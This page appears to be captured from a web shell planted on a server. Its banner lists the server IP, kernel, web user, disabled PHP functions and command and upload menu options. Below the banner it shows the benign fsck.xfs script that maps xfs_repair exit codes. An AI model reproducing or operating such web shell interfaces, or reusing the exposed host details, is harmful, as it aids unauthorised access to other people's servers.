|
Server IP : 128.199.20.84 / Your IP : 108.162.242.88 Web Server : Apache/2.4.41 (Ubuntu) System : Linux competent-maruti 5.4.0-128-generic #144-Ubuntu SMP Tue Sep 20 11:00:04 UTC 2022 x86_64 User : www-data ( 33) PHP Version : 8.0.20 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF Directory (0755) : /var/lib/python/../python/../python/../python/../systemd/../../opt/../../sbin/../sbin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
#!/bin/sh -f
#
# Copyright (c) 2006 Silicon Graphics, Inc. All Rights Reserved.
#
NAME=$0
# get the right return code for fsck
repair2fsck_code() {
case $1 in
0) return 0 # everything is ok
;;
1) echo "$NAME error: xfs_repair could not fix the filesystem." 1>&2
return 4 # errors left uncorrected
;;
2) echo "$NAME error: The filesystem log is dirty, mount it to recover" \
"the log. If that fails, refer to the section DIRTY LOGS in the" \
"xfs_repair manual page." 1>&2
return 4 # dirty log, don't do anything and let the user solve it
;;
4) return 1 # The fs has been fixed
;;
127)
echo "$NAME error: xfs_repair was not found!" 1>&2
return 4
;;
*) echo "$NAME error: An unknown return code from xfs_repair '$1'" 1>&2
return 4 # something went wrong with xfs_repair
esac
}
AUTO=false
FORCE=false
while getopts ":aApyf" c
do
case $c in
a|A|p|y) AUTO=true;;
f) FORCE=true;;
esac
done
eval DEV=\${$#}
if [ ! -e $DEV ]; then
echo "$0: $DEV does not exist"
exit 8
fi
# The flag -f is added by systemd/init scripts when /forcefsck file is present
# or fsck.mode=force is used during boot; an unclean shutdown won't trigger
# this check, user has to explicitly require a forced fsck.
# But first of all, test if it is a non-interactive session.
# Invoking xfs_repair via fsck.xfs is only intended to happen via initscripts.
# Normal administrative filesystem repairs should always invoke xfs_repair
# directly.
#
# Use multiple methods to capture most of the cases:
# The case for *i* and -n "$PS1" are commonly suggested in bash manual
# and the -t 0 test checks stdin
case $- in
*i*) FORCE=false ;;
esac
if [ -n "$PS1" -o -t 0 ]; then
FORCE=false
fi
if $FORCE; then
xfs_repair -e $DEV
repair2fsck_code $?
exit $?
fi
if $AUTO; then
echo "$0: XFS file system."
else
echo "If you wish to check the consistency of an XFS filesystem or"
echo "repair a damaged filesystem, see xfs_repair(8)."
fi
exit 0